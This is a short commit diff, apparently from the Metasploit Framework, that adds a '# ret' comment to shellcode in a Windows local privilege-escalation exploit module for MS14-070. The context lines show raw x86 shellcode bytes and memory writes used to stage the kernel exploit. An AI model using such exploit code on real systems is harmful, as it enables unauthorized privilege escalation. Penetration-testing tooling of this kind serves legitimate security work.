Forgot to comment ret instruction

Author: zeroSteiner

modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb

@@ -131,7 +131,7 @@ def exploit
     sc << "\x83\xf9\x00"                 # cmp ecx, 0
     sc << "\x75\xf7"                     # jne loop_frames
     sc << "\x31\xc0"                     # xor eax, eax
-    sc << "\xc3"
+    sc << "\xc3"                         # ret
 
     this_proc.memory.write(0x28, "\x87\xff\xff\x38")
     this_proc.memory.write(0x38, "\x00\x00")